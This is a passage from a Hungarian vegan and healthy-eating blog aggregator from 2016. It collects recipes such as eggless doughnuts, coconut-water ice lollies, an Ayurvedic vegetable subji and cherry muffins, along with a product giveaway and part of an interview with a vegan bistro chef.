fel, és áztassuk be annyi vízbe vagy növényi tejbe, amennyi éppen ellepi. Kb. 1-2 óra elteltével botmixerezzük simára. Keverjük hozzá a kakaóport, a chiamagot és a narancsolajat. Akár vaníliapor is kerülhet bele.Simítsuk rá a tortára, és legalább 3-4 órát hagyjuk állni. Ezidő alatt teljesen kihűl, és a krém is megszilárdul.A tetejét díszítsük gyümölccsel.
Tojásmentes szalagos fánk
2016. szeptember 6. Éltető ételek
Nagyon ritkán készítek fánkot, mert ezt valóban bő olajban kell kisütni, és ilyet ritkán szoktam csinálni. De a gyerekek unszolására "beadtam a derekamat", és vasárnap fánkot sütöttem. Nem olyan ördöngösség, és így tojás nélkül is remekül működött a recept. Hozzávalók: - 25-25 dkg teljes kiőrlésű és fehér tönkölyliszt átszitálva - 3 dkg élesztő - 5 dkg bio, olvasztott vaj - 2 evőkanál méz - 3 dl rizs- vagy zabtej - csipet só - bio narancs vagy citrom reszelt héja - sütéshez: kókuszolaj Elkészítése: - Minden alapanyag szobahőmérsékletű legyen. - A liszteket szitáljuk át. - Az élesztőt kevés langyos tejben pici mézzel futtassuk fel. - A maradék tejjel és a többi hozzávalóval dagasszunk egy lágy, hólyagos tésztát. Az olvasztott vajat csak a legvégén adjuk hozzá. - Tegyük kiolajozott tálba, és letakarva kelesszük duplájára (kb. 1 óra). - Lisztezett deszkán kézzel lapogassuk le úgy ujjnyi vastagra. Szaggassuk ki, majd takarjuk le egy abrosszal, és ismét kelesszük fél órát. - A kókuszolajat hevítsük fel. A fánk közepét nyomjuk be az ujjunkkal, majd 1,5-1,5 percig süssük meg mindkét oldalát.
Kókuszvíz jégkrém gyümölcsökkel (vegán)
2016. szeptember 1. Zizi kalandjai
Helló szeptember! Hát eltelt a nyár, vagyis remélhetőleg van/lesz vénasszonyok nyara, de a vakációnak vége. Örülök a változásnak, de ilyenkor mindig sajnálom, hogy kevés sárgabarackot és áfonyát ettem, és jön az alma időszak, amit unásig lehet fogyasztani, míg lesz végre újra eper. Na és persze rövidülnek a nappalok, jön a korai sötétség. Novemberben már a karácsonyt várom, hogy elkezdjenek újra hosszabbodni a napok. De persze élvezem, élvezzük a MOSTot közben!
Az idei nyarunk sok munkával, néhány vakációval és két gyerek nevelésével telt – ami szintén munka 24 órában! Nyáron az egyszerűség és a gyorsaság volt a lényeg a konyhában, hogy minél gyorsabban készítsek valami finomat, ne kelljen a tűzhely mellett állni sokáig. A blogra szinte alig fotóztam ételt, azért van két dolog, amik nyáriak, és még megosztom veletek, hátha elkészítitek vagy elmentitek jövőre!
Az első ez a jégkrém, aminek nincsenek pontos mértékegységű hozzávalói, mert függ attól, hogy kinek, milyen jégkrém formája van. Szóval a hozzávalókat megadom, de mértékegységek nincsenek hozzá. Az egész alapja a kókuszvíz, amely az éretlen zöld kókuszdió magjában található folyadék. Számos ásványi anyag és nyomelem megtalálható benne, úgy, mint cink, kálcium, kálium, magnézium és vas. Kiváló lúgosító hatással rendelkezik és sportolók izotóniás italként is fogyasztják. Immunerősítő és kismamáknak, szoptatós anyáknak természetes ásványpótlást biztosít (még többet a kókuszvízről itt). Figyeljünk arra, hogy tiszta kókuszvizet vegyünk, amiben lehetőleg nincsen édesítőszer és más oda nem illő anyag. Mi az egyik szupermarket láncolat ázsiai hetének keretében vettünk két kartonnal! Reggeli smoothiekba tesszük vagy csak behűtve ittuk nyáron.
Előny, hogy a kókuszvíz miatt átlátszó a jégkrém, így látszódnak benne a gyümölcsök!
Kókuszvíz jégkrém gyümölcsökkel (vegán)
Hozzávalók:
– kókuszvíz
– juharszirup/agavészirup (opcionális)
– friss szezonális gyümölcsök, ha valami nagyobb (pl. kivi), akkor kisebb darabokra vágva – én epret, áfonyát és kivit használtam
Lehetőleg álló jégkrém formát használjunk. Ha édesíteni szeretnénk, akkor egy tálban keverjük össze a kókuszvizet az ízlés szerinti juharsziruppal (ez a lépés kihagyható, ha nem édesítjük), öntsük a formákba és dobáljunk bele néhány gyümölcsöt, helyezzünk mindegyikbe pálcikát. Tegyük a fagyasztóba legalább két órára, amíg megszilárdulnak.
Tipp : fekvő jégkrém forma esetén csak félig öntsük fel a formákat, tegyük bele a gyümölcsöket és a pálcikákat. Helyezzük a fagyasztóba és ha megfagyott, akkor öntsünk hozzá még egy kevés kókuszvizet, majd újra fagyasszuk meg. Minderre azért van szükség, mert a formáknak van egy apró lyuka, amin a pálcikát lehet beszúrni és ha teljesen felöntjük a formát a kókuszvízzel, akkor a lyukon keresztül kifolyik belőle (tudom, saját tapasztalat )!
Csokikrémes-gyümölcsös tejberizs
2016. augusztus 19. Éltető ételek
Gyakran készítek tejberizst, amelyet mindig más és más gyümölccsel vagy krémmel egészítek ki. Többnyire rizottórizst használok, amellyel sokkal krémesebb lesz az eredmény. A csokikrém egy egyszerű datolyakrém, a gyümölcs pedig a kedvünk és a szezonalitás alapján bátran variálható. Hozzávalók (4 adag) - 1 csésze rizottórizs - 3 csésze rizstej - 1/2 mokkáskanál vaníliapor - 1 evőkanál datolyakrém - csipet só Csokikrém: - 20 dkg puha, bio datolya - 2-3 dl kókusztej - 2-3 evőkanál chiamag - 1-2 evőkanál kakaópor - 6-8 csepp narancsolaj Morzsa: - 2-3 evőkanál kókuszreszelék - 2-3 evőkanál apróra tört dió - késhegynyi vaníliapor - 2-3 evőkanál szárított hajdinacsíra Gyümölcs kedvünk és ízlésünk szerint, én most őszibarackot használtam Elkészítése: Először a datolyát készítsük el, mert a teljes felpuhulásához idő kell. Vágjuk fel kis darabokra és annyi vizet öntsünk rá, amennyi éppen ellepi. Hagyjuk állni 1-2 órát.A rizstejet tegyük fel főzni, majd szórjuk bele a rizst. Kb. 25 perc alatt megfő, időnként keverjük át. A vaníliaport is tegyük bele, a datolyakrémet pedig csak a végén.A megpuhult datolyát botmixerezzük össze, adjunk hozzá a tejet, a kakaóport és a narancsolajat. Végén keverjük bele a chiamagot.Összeállítása: - A pohár aljára tegyük az apró kockára vágott gyümölcsöket. - Kanalazzuk rá a tejberizst. - Szórjuk meg morzsával. - Simítsuk rá a csokikrémet. - A tetejére tegyünk a megmaradt gyümölcsből.A datolyakrém egy természetes édesítőszer. Egy csomag datolyát áztassuk be vízbe, majd néhány óra elteltével turmixoljuk össze. Üvegbe töltve, hűtőben 2-3 hétig eláll.
Vegán “tejfölös” mártogatós
2016. augusztus 15. Fittanyuka
Nyári fogás amit egyszerű elkészíteni és minden ízében, színeiben nyár!
Nyári szabadságomat töltöm és a pihenés alatt igyekszem gyorsan elkészíthető, csupán néhány alapanyagos és mégis egészséges fogásokat készíteni!
A mai ebéd:
Steak édesburgonya hasábok (sütőben, nem olajban sütve), sült paprikával és sült fokhagymával, továbbá szójaszószban pácolt, majd grillezett tofu kockák, vegán “tejfölös” mártogatós és rusztikus, nyári saláta paradicsommal, uborkával, lilahagymával.
Elkészítése annyira egyszerű, hogy recept sem szükséges:)!
Az édesburgonyákat héjával együtt hasábokra vágtam, egy sütőpapírral kibélelt sütőlemezre tettem, néhány cikk fokhagyma és kápia paprika társaságában, meglocsoltam kevés olíva olajjal, sóztam és 200 C fokon pirosra sütöttem. A következő fűszerkeveréket készítettem neki: kevés parajdi só, piros paprika, őrölt kömény, kevés őrölt fekete bors, szárított rozmaring, majd ebben a keverékben hempergettem meg tálalás előtt.
A tofut olívaolajos, szójaszószos pácban pihentettem egy fél órát, bele préseltem egy cikk fokhagymát, majd kókusz olajon átpirítottam…
A vegán “tejfölös” mártogatós pedig így készült:
200 ml kókusztejszín
1 evőkanál jó minőségi mustár
só ízlés szerint
3-4 evőkanál hidegen sajtolt olíva olaj
3 evőkanál citromlé
1 cikk fokhagyma
csipet fehérbors
friss vagy szárított zöldfűszer: petrezselyem zöld, bazsalikom, vagy bármelyik kedvencünk.
Vegán kakaós protein palacsinta
Ha fogyni szeretnénk, vagy legalábbis nem hízni a szénhidrát mennyiséget csökkentsük, de így is élvezhetjük a finom ízeket, ráadásul tej,-laktóz és tojás nélkül. Az volt a cél, hogy mindenféle felesleges szénhidrát és zsír nélküli palacsintám legyen, amelyet gyorsan, akár reggel is előállíthatok.
Ez a palacsinta abszolut lisztmentes, gluténmentes és vegán, hozzáadott cukrot sem tartalmaz, rosttartalma viszont magas.
Hozzávalók: 4-5 db kisebb palacsinta
60 g ( 2 evőkanál) vegán kakaós fehérjepor: absorice
1 teáskanál kakaópor
csipet szódabikarbóna
2 dl rizstej
2 evőkanál kókuszliszt
1 evőkanál útifűmaghéj
édesítés ízlés szerint ( a fehérjepor elég édes, steviával van édesítve)
1 teáskanálnyi kókuszolaj
Az olajjal kikennjük a palacsinta vagy egy tapadásmentes sütőt. Az összetevőket összeturmixoljuk és kis adagokban, hasonlóan, mint az amerikai palacsintát kisütjük. Ha kis halmokat sütünk könnyebb megfordítani és nem esik szét. Tetszőleges gyümölccsel tálaljuk.
Bazsalikomos cukkinikrém
2016. július 19. Éltető ételek
Szeretem ezeket a kenőkéket, mintegy 15 perc alatt el is készül. Ha hagyod összeérni az ízeket, még finomabb lesz. Hozzávalók: - 2 közepes cukkini - 1 nagy kápia paprika - 1 közepes vöröshagyma - 3 gerezd fokhagyma - 1 evőkanál olívaolaj - 1 evőkanál kókuszolaj - himalája só, bors, chili - kis marék friss bazsalikom - 2-3 rozmaring levél - csipetnyi oregánó - 1 újhagyma Elkészítése: - A zöldségeket mossuk meg és karikázzuk fel. Az olaj keverékében pirítsuk meg a zöldségeket. Fontos, hogy ne csak párolódjon, hanem piruljon is. Sózzuk, borsozzuk. Kb. 10 perc alatt megpuhul a zöldség.A zöldfűszerekkel együtt botmixerezzük.Az újhagymát vágjuk fel nagyon pici darabokra, és keverjük a cukkinikrémhez,
Csicseriborsós - cukkinis - sárgarépás FAL-NI (gluténmentes, laktózmentes, tojásmentes, vegán)
csicseriborsós - cukkinis - sárgarépás FAL-NI (mindenmentes, vegán) A FAL-NI, a FALafel és tócsNI szó házasságából született, általam kreált, nem létező szó. Nem tudtam eldönteni, hogy az elkészült étel inkább falafel vagy tócsni. Az alapanyagot tekintve az arab, csicseriborsós falafelre hasonlít, míg formára és ízvilágra inkább a magyar tócsnira, lepcsánkára, cicegére. Addig-addig gondolkoztam rajta, hogy melyik névvel illessem ezt a receptet, míg úgy döntöttem mindkettővel. :-) Az étel ötlete egyébként úgy jött, ahogyan nagyon sok másik étel a konyhámban. Megnéztem mi van itthon, milyen zöldségeknek lenne szüksége gyors felhasználásra, milyen alapanyagokat menthetek meg a kukába landolástól. Nem szeretek ételt kidobni! Ritkán is teszem! :-) Minden felhasználható valamiben, csak szabadjára kell engedni a fantáziánkat... mint például a FAL-NI esetében. ;-) karotin turmix Korábban már bemutattam nektek a mosolygós cukkinis tócsnit itt a Zöld Avocado vegetáriánus gasztroblogon, ennek szerettem volna elkészíteni egy sajtmentes, vegán változatát. A csicseriborsó konzervet pár hete vettem, hogy majd spenótos humuszt készítek belőle, de aztán ez a terv elmaradt. Sárgarépa mindig van itthon. Főleg, mert gyakran készül belőle csodafinom, energetizáló karotin turmix (sárgarépa+narancs+víz). :-) Ez a három alapanyag pedig megalapozta a csicseriborsós-cukkinis-sárgarépás FAL-NI hozzávalóit, amit aztán Balázs jóízűen be is falt, pillanatok alatt. ;-) csicseriborsós - cukkinis - sárgarépás FAL-NI (mindenmentes, vegán) HOZZÁVALÓK (2 személyre) - 2 db közepes méretű cukkini - 2 db közepes méretű sárgarépa - 1 db (bio) csicseriborsó konzerv - 1 nagy marék friss petrezselyem - 2-3 gerezd fokhagyma - 1 tk (frissen) őrölt római kömény (római, nem sima köménymag) - Himalája só, őrölt fehér bors, 1 ek mustár - kb. 6 ek csicseriborsóliszt - 1 ek útifűmaghéj - 1 ek lenmag - (elhagyható - 2 ek fekete vagy fehér szezámmag) csicseriborsós - cukkinis - sárgarépás FAL-NI (mindenmentes, vegán) ELKÉSZÍTÉS A cukkinit és a sárgarépát meghámozzuk, megmossuk, majd 1-1 db-ot lereszelünk a nagy lyukú reszelőn. A másik sárgarépát és cukkinit, a csicseriborsóval az aprítógépben / turmixgépben pépessé dolgoztatjuk a fokhagymával. (Csicseriborsót lé nélkül használjuk fel!) A friss petrezselymet apróra vágjuk, egy nagy tálban hozzáadjuk a cukkini-sárgarépa-csicseriborsó-fokhagyma pépet, a reszelt sárgarépát és cukkinit, a fűszereket tetszés szerint, az útifűmaghéjat és a csicseriborsólisztet. (Én tettem hozzá fekete és fehér szezámmagot, de ez kihagyható lépés.) Az egészet alaposan összekeverjük majd állni hagyjuk egy 15 percet, hogy az útifűmgahéj elvégezhesse a dolgát és megszívja magát folyadékkal. Egy teflon palacsintasütőben, kevés kókuszolajon, közepes lángon kisütjük a tetszés szerinti méretű FAL-NI "pogácsákat". Mindig legyen alatta kókuszolaj, mert abban tud szépen megpirulni, anélkül leég. Fordítsuk meg és mindkét oldalán süssük meg őket. Tálalhatjuk növényi tejföllel vagy fokhagymás szójajoghurttal, de önmagában is nagyon finom. csicseriborsós - cukkinis - sárgarépás FAL-NI (mindenmentes, vegán) Táplálkozz, ne csak étkezz a hétköznapokban is! :-) Megjegyzés1: Az elején vékony, tenyérnyi méretű "plecsniket" kanalaztam a serpenyőbe, de hamar rájöttem, hogy úgy szétesnek, amikor megfordítom őket. Majd kipróbáltam, hogy vastagabbra formázom őket és így már könnyedén megtudtam fordítani, anélkül, hogy széttörtek volna a FAL-NI-k. ;-) Megjegyzés2: Sokkal illatosabb és finomabb a római kömény, ha frissen daráljuk meg a felhasználni kívánt mennyiséget. Érdemes otthon tartani egy egyszerű kávédarálót, melyben a fűszereket frissen megőrölhetjük mielőtt az ételekbe tesszük őket. csicseriborsós - cukkinis - sárgarépás FAL-NI (mindenmentes, vegán)
Sárgabarack krémleves
A férjem mindenféle krémlevest szívesen fogyaszt, főként gyümölcsökből. A gönci barackból így nem csak lekvár készült télire, hanem egy adag krémleves is. Aminek persze nem nagy tudomány az elkészítése, és 15 perc alatt meg is fő. Növényi tejszínek közül a kókusszal igen pikáns, rizzsel semlegesebb. Rizsliszttel pedig gluténmentessé is tehető. Hozzávalók: 1 kg sárgabarack 1 doboz tejszín (rizs, kókusz) 1 ek zabliszt v. rizsliszt 1 ek gyümölcscukor / pár csepp sztívia vanília kikapart bele pici só A sárgabarackot kimagvaljuk, kevés vízzel feltesszük főni. Sózzuk. A tejszínt összekeverjük a vaníliával, cukorral és liszttel, majd ha a barack fő, belekeverjük az egészet, és megvárjuk, míg újra felfő, folyamatos kevergetés mellett.
Vegán, búzacsírás sárgabarackos gombóc
Ne gondoljátok azt, hogy egy gyümölcsös gombóc készítése nagyon nehéz lenne. Szerintem nem lehet elrontani, csak az elkészítése egy kis odafigyelést igényel. Ha betartod a leírtakat, biztosan neked is sikerülni fog. Hozzávalók: - 50 dkg héjában megfőtt burgonya - 10 dkg teljes kiőrlésű tönkölyliszt - 10 dkg fehér tönkölyliszt - 1 evőkanál olívaolaj vagy kókuszolaj - 1 evőkanál tönköly búzadara (gríz) - csipet só - kb. 10 db érett sárgabarack - fahéj, kókuszvirágcukor Morzsa: - kb. 10 dkg búzacsíra - kb. 10 dkg darált dió - 1-2 evőkanál kókuszcukor - 1/2 mokkáskanál fahéj - 1 evőkanál kókuszolaj Elkészítése: A morzsához a darált diót a kókuszolajon folyamatos kevergetés mellett picit pirítsuk meg, éppen csak annyira, hogy enyhén illatos legyen. Vegyük le a tűzről, picit hagyjuk hűlni, majd szórjuk bele a búzacsírát, a cukrot és a fahéjat.Közben a héjában megfőtt burgonyát még melegen krumplinyomóval törjük át. Hagyjuk teljesen kihűlni!Szórjuk bele a lisztet, a darát, a sót, és az olajat is csorgassuk bele.Gyúrjunk belőle egy ruganyos tésztát.Kilisztezett deszkán nyújtsuk ki kb. 0,5 cm vastagra, és kockázzuk fel mintegy 8 cm-esekre. No, nem kell mérni, csak úgy szemre. :) Persze ez függ a barack méretétől is, de én jobban szeretem a max. pingponglabda méretűeket.A barackot magozzuk ki, vágjuk félbe, szórjunk rá kókuszcukrot és fahéjat. Jól forgassuk össze. Ez lesz a töltelék.Mindegyik kockatésztára tegyünk egy cukros barackot, és ügyesen gombócozzuk.Lobogó, enyhén sós vízben főzzük ki, de ne egyszerre. Amikor feljön a gombóc a víz tetejére, még utána úgy 4-5 percig főzzük.A lecsöpögtetett gombócokat forgassuk meg a búzacsírás morzsába.
Sárgabarackos sütemény
Nagyon ritkán használok tojást, de most igazán könnyű süteményt akartam készíteni. A tojáshab ebben nagy segítségemre volt, a gyerekeknek is nagyon ízlett. Ne ijedj meg, hogy a bekevert tészta sűrű, sütés közben habkönnyűvé válik. Hozzávalók: - 10 dkg méz - 15 dkg puha bio vaj - 3 házi tojás - 20 dkg teljes kiőrlésű liszt (lehet részben zabliszttel vagy rizsliszttel is készíteni) - 1 mokkáskanál fahéj - 1 csomag szulfátmentes sütőpor - 1-2 evőkanál joghurt - kb. 40 dkg érett sárgabarack Elkészítése: - A puha vajat a mézzel keverjük habosra. - A tojás sárgáját egyesével dolgozzuk hozzá. Ehhez a lágy masszához keverjük a sütőporos lisztet és a fahéjat. Ha nagyon sűrű, tehetünk bele egy kevéske joghurtot.A tojás fehérjét verjük fel kemény habbá. Apránként forgassuk a sűrű tésztához.Egy 24x24 cm-es kocka tortaformát zsírozzuk ki, majd simítsuk bele a tésztát.A sárgabarackot magozzuk ki, vágjuk fel, majd jó sűrűn tegyük a tésztára. Szórjuk meg kókuszcukorral és fahéjjal.Előmelegített sütőben (180 fok) kb. 35 perc alatt megsütjük (tűpróba).Mielőtt felszeleteljük, hagyjuk kihűlni.
Mogyorós-körtés pite (vegán)
Egy dolog biztos nagyon jó Magyarországban. A rengeteg gyümölcs és zöldség, ami nyáron terem. Most van idénye a nyári körtéknek is. Tavaly ilyen körtéből főztem lekvárt. A körte mogyoróval jó kis párosítás. Ősszel és télen gyakran vettem körtét (akkor már nem nyári körtét, hanem pl. Alexander vagy Vilmos), szívesen fogyasztottam reggelire natúr mogyorókrémmel. Míg a banán nutellával, a körte mogyorókrémmel, mogyoróval jól harmonizál. Megér egy próbát ez a körtés pite, főleg, ha sok körte terem a kertben.
A recept
Hozzávalók:
- 20 dkg zabpehely
- 30 dkg körte (nyári körtét használtam)
- kb. 2 ek édesítőszer nyírfacukor, gyümölcscukor, ki mit használ (édesszájuaknak több kell bele)
- sótlan pirított mogyoró
- 2 ek folyékony kókuszzsír
- víz/növényi tej
- sütőpapír
Elkészítés:
A körtéket felkoczkázzuk, a zabpehellyel átkeverjük, öntünk rá egy kevés vizet vagy növényi tejet, adunk hozzá kókuszzsírt is, majd a végén édesítjük. Jó alaposan átkeverjük, sűrűbb masszát kell kapjunk. Egy tortaformát kibélelünk sütőpapírral, belesimítjuk a nyers tésztát, megszórjuk durvára őrölt mogyoróval majd egyenletes hőfokon kb. 20-30 perc alatt készre sütjük. Magában is nagyon finom, de a szeleteket akár egy kevés sziruppal (pl. Agave) is meglocsolhatjuk.
Vegyes zöldség subji – ájurvédikus zöldséges főétel
2016. július 5. Eszemiszom – Jóga Magazin
Itt a nyár és a piacon megannyi ízletes, finom zöldség. Most aztán mindenki egyéni ízlésének – illetve ájurvédikus testalkatának – megfelelően tud zöldségeket fogyasztani.:) ez a zöldséges főétel bármilyen zöldségekkel elkészíthető.
H ozzávalók
4 csésze felaprított zöldség ( cukkini, zöldbab. répa, paprika, tök, etc…)
2 ek. ghí (vegán változatban kókuszzsír)
1/2 tk. római kömény
1/2 tk. fekete mustármag
1/2 tk. masala
1/4 tk. kurkuma
csipet aszafoetida (hing)
1/4 tk. só
Vegyszermentes (bio) alapanyagokat használj!
A zöldségeket mosd meg és vágd apró darabokra. Melegítsd fel az edényt és tedd bele a ghít, majd a fekete mustármagot – a legjobb ha letakarod, mert amikor kipattog, akkor kiugrálhat az edényedből. Húzd le a tűzről picit az edényt amíg pattog a mustármag, majd add hozzá a római köményt, majd ha pirulni kezdett add hozzá az aszafoetidát, a kurkumát és a masalát. Picit keverd meg és tedd hozzá a zöldségeket és a sót. Keverd úgy össze, hogy a fűszerek jól elkeveredjenek a zöldségekkel. Vedd le takarékra és tedd rá a fedőt. 5 perc után keverd meg és takarékon főzd, amíg meg nem puhulnak a zöldségek (kb. 15 p.)
Ez a subji mindhárom dhosát kiegyensúlyozza. Jó a vata-nak, pitta-nak és kapha-nak is. Kedvezően hat az agnira, az emésztés tüzére és jó a csontoknak és az ízületeknek is. A legjobb baszmati rizzsel tálalni.
Vegyes zöldség subji - ájurvédikus zöldséges főétel
2016. június 29. Élj harmóniában
Vegyes zöldség subji - ájurvédikus zöldséges főételItt a nyár és a piacon megannyi ízletes, finom zöldség. Most aztán mindenki egyéni ízlésének - illetve ájurvédikus testalkatának - megfelelően tud zöldségeket fogyasztani.:) ez a zöldséges főétel bármilyen zöldségekkel elkészíthető. H ozzávalók 4 csésze felaprított zöldség ( cukkini, zöldbab. répa, paprika, tök, etc...) 2 ek. ghí (vegán változatban kókuszzsír) 1/2 tk. római kömény 1/2 tk. fekete mustármag 1/2 tk. masala 1/4 tk. kurkuma csipet aszafoetida (hing) 1/4 tk. só Vegyszermentes (bio) alapanyagokat használj! A zöldségeket mosd meg és vágd apró darabokra. Melegítsd fel az edényt és tedd bele a ghít, majd a fekete mustármagot - a legjobb ha letakarod, mert amikor kipattog, akkor kiugrálhat az edényedből. Húzd le a tűzről picit az edényt amíg pattog a mustármag, majd add hozzá a római köményt, majd ha pirulni kezdett add hozzá az aszafoetidát, a kurkumát és a masalát. Picit keverd meg és tedd hozzá a zöldségeket és a sót. Keverd úgy össze, hogy a fűszerek jól elkeveredjenek a zöldségekkel. Vedd le takarékra és tedd rá a fedőt. 5 perc után keverd meg és takarékon főzd, amíg meg nem puhulnak a zöldségek (kb. 15 p.) Ez a subji mindhárom dhosát kiegyensúlyozza. Jó a vata-nak, pitta-nak és kapha-nak is. Kedvezően hat az agnira, az emésztés tüzére és jó a csontoknak és az ízületeknek is. A legjobb baszmati rizzsel tálalni.
Csupa csokis jégrém pirított-kókuszcukros mandulával
2016. június 24. Éltető ételek
Húúú, ez a jégkrém nagyon jól sikerült. Igazán krémes, nem jeges és könnyen olvad. Már régóta vágytam egy ilyen jégkrém formára, de ha neked nincs, ne keseredj el, bármilyen más formába beletöltheted. Hozzávalók: - 12 dkg kesudió - 25 dkg puha datolya - 1 érett avokádó - 2 dl kókuszkrém - 5 dl kókusztej - 2 evőkanál cukrozatlan kakaópor - néhány csepp narancsolaj - külsejére: nyers csoki vagy 70%-os olvasztott csoki, kókuszcukros mandula (vagy mogyoró) Elkészítése: A kesudiót áztassuk be 3-4 órára.Amíg a kesudió ázik, addig a datolyát vágjuk fel kis darabokra, és öntsük rá a kókusztejet. Tegyük be a hűtőbe.Mindent tegyünk egy turmixgépbe, és alaposan dolgozzuk krémesre.Töltsük meg a formákat és fagyasszuk le.A mandulát törjük apró darabokra. Egy serpenyőbe tegyünk 1 evőkanál kókuszcukrot, és lassan melegítsük. Löttyintsünk rá egy pici vizet, és gyorsan dobjunk rá egy marék apróra tört mandulát. - Külsejére csorgassunk olvasztott csokit és szórjunk rá kókuszcukros mandulát.
Gluténmentes, cukormentes meggyes muffin
2016. június 20. Élj harmóniában
Gluténmentes, cukormentes meggyes muffin Sokféle muffin receptet tettem fel a blogra már, mert szeretek muffint készíteni. Gyorsan elkészül, egyszerű és isteni finom ízeket lehet kihozni belőle. Ki, ki a saját ízlésének megfelelően tudja készíteni. Meggy szezon lévén mit is készíthettem volna ma reggelire, mint meggyes muffint. Ebből a mennyiségből 6 darab muffint kapsz Hozzávalók 1 csésze hajdinaliszt (púposan) 1 kis zacskó kókuszkrém (rapunzel) 1/2 zacskó sütőpor vanília 1/4 csésze datolyacukor (ha nagyon édesszájú vagy lehet 1/2 csésze is) 1 ek kókuszreszelék 1 púpos ek. kókuszzsír 8 dkg meggy vagy ízlés szerint Vegyszermentes (bio) alapanyagokat használj! Tedd a száraz hozzávalókat egy tálba - hajdinaliszt, datolyacukor, sütőpor, vanília, kókusz - és keverd jól össze. A kókuszkrémet a zacskóból tedd egy kis mérőpohárba és öntsd fel annyi vízzel, hogy majdnem 2 dl legyen. alaposan keverd össze. Majd a száraz hozzávalókhoz keverd hozzá a kókuszzsírt és a kókusztejes folyadékot. Papírral bélelt muffin formába adagold ki és 180 fokra előmelegített sütőben süsd készre. (kb. 25 perc)
Egyszerű saláta nem hétköznapi fűszerezéssel – vegán recept
Egy kevés összetevős, de izgalmas ízű salátára vágytam, mikor elkészítettem ezt. Grillezett virslivel és grillezett zöldségekkel ettem, amiket megszórtam sörélesztőpehellyel. Ha te is grilleznél, ezek a zöldségek és gyümölcsök nagyon finomak: répa, cékla, krumpli, tv-paprika, kaliforniai vagy kápia paprika, cukkini, tök, vöröshagyma, fokhagyma, alma, szilva. És a grillételek mellé nagyon jól passzol az alábbi frissítő ízű saláta. Hozzávalók: 1 marék csíkokra vágott jégsaláta 1 marék csíkokra vágott fehér káposzta fél alma felkockázva egy kevés sótlan földimogyoró Öntet: 1 dl víz 1 teáskanál barna nádcukor vagy kókuszcukor 1 kávéskanál só 4 teáskanál rizsecet 1 teáskanál koriandermag mozsárban összetörve fél kávéskanál őrölt babérlevél 1 teáskanál olívaolaj Az olajon kívül az öntet összetevőit elkeverjük, és ha a cukor és só feloldódott, mehet bele az olaj. A koriandermag és a babérlevél kellemes, citrusos ízt ad, az ecettől frissítően savanykás lesz az öntetünk. The post Egyszerű saláta nem hétköznapi fűszerezéssel – vegán recept appeared first on VegaNinja.
Planetbio nyereményjáték
2016. június 10. Zizi kalandjai
A Planetbio kiváló termékeit már jó ideje használom és pár receptet is megosztottam, amelyekben előfordulnak az általuk forgalmazott szuper élelmiszerek.
Nyeremény : felajánlásuknak köszönhetően egy szerencsés játékos nyerhet egy általa választott szuper élelmiszert a webshopjukból és Julie Morris: Superfood Smoothie című könyvével (Édesvíz Kiadó) is gazdagabb lesz.
Írjátok meg ide a bejegyzés alá kommentben (az email címetekkel együtt), hogy nektek melyik a kedvenc szuperélelmiszeretek, amit választanátok a webshopból! Egy csomag vasban gazdag lucuma vagy goji, esetleg egy 100% higanymentes spirulina, netán egy mennyei E vitamindús kakaóvaj?
+ Aki játszik és nem nyer, annak a játék után lesz meglepetésünk!
Szabályok : a játék időtartama 2016. június 10 – június 15-ig tart. Sorsolás a random.org-gal. Eredményhirdetés 2016. június 16-án. A nyertest emailben fogom értesíteni, majd a neve kikerül a blogra (ez a bejegyzés fog frissülni). A nyereményt a nyertesnek a Planetbio Magyaroszág postázza magyarországi címre.
Interjú az Elixires Soós Ádámmal, a vegán ispánnal
Soós Ádám a vegán Elixir bisztró séfje, hardcore punk szkrímer és Bianchista meséli el melyik vegán étel lenne legszívesebben.
Mesélj röviden magadról annak aki nem ismerne.
Ádám vagyok, egy vidéki hardcore/punk srác. Amikor hat éve felköltöztem Pestre, már vegán voltam és nagy álmom volt, hogy vegán szakács, valamint bicajos futár legyek, noha enyhe túlzással élve nem tudtam főzni és ennek tetejébe a várost sem ismertem. Mindezek ellenére több helyen dolgoztam szakácsként majd konyhafőnökként és futárként is, és már saját kis vegán bisztróm van, az Elixir.
Miért pont ispán és honnan jött a név?
A vegan ispán vagy helytartó “gúnynév” először egy poénnak indult, mert hajlamos vagyok ,,túlságosan komolyan venni a veganságot és ehhez hasonló viccelődéssel próbáltuk feloldani azt, ahogy arra reagáltam, hogy elég sokan még egy vegánnak nevezett csoportban sem értik meg valamiért sajnos, hogy a vegánság az állatokról szól, nem pedig rólunk. Nem fér bele egy kicsi ez vagy az. Azt már szinte csak zárójelesen jegyzem meg, hogy az ispánság fogalmába nálam beletartozik az is, hogy maximálisan segítőkész vagyok és segítek, ahol tudok.
Mi a véleményed a magyar vegán viszonyokról és tévhitekről a téma kapcsán?
A honi viszonyokról nagyon vegyes érzelmeim vannak. Egyrészt az elmúlt években összesen egy vegan kollégám, felettesem volt az összes vegetáriánus, vegán helyet figyelembe véve. Ez is közrejátszott abban hogy megalapítottam az Elixírt, ahol valóban csak vegánok dolgoznak. De nagyon örülök, hogy egyre többeket érdekel a vegánság itthon, elindult valami hatalmas robbanás, ami köszönhető többek között Kristóf barátom személyének és könyvének is, viszont az kifejezetten zavar mind a mai napig, amikor anyagi megfontolásból ugranak fel a vonatra olyanok, akiknek húsos helyük is van például.
Számomra a vegánság nem egy financiális luxusexpressz, amire fel lehet pattanni. Hanem a törődés, a szeretet egyik legszebb módja, a jogi, környezettudatos mozgalmak egyik legfontosabbika és a hitelességnek ebben alapvető értéknek kellene lennie.
Ugyanis ez egy rémesen egyszerű dolog és teljesen érthetően van definiálva: nem használunk állatokat! Ha pedig nem használsz állatokat, nem élsz például a halálukból. Ezen logika alapján sem tudom elfogadni azt sem, amikor valaki vegán szakácsnak hívja magát bőrcipőben, mézzel és a többi. A forradalom a tányérodon kezdődik, de nem ott kell véget érnie. Legyünk mindannyian következetesek, próbáljuk meg minimalizálni az ártást és tegyünk meg mindannyian, akár közösen a lehető legtöbbet azért, hogy majd a következő nemzedékek is egy valamennyire használható sárgolyóbist vegyenek át. Valószínűleg bennem túlságosan intenzív egy vegán társadalom iránti vágy – ezért is tűnhetek szigotúnak – és valahol nagyon remélem, hogy pár évtized múlva már a múlté lesz az állathasználat. Ettől függetlenül én minden apró dolognak örülök, a vegetáriánusokat is simán támogatom, hátha egyszer vegánok lesznek ők is, hisz addig is kevesebb állat szenved.
Kicsit mesélj az Elixirről. Mostanában költöztetted, de mik a távoli terveid a bisztróval?
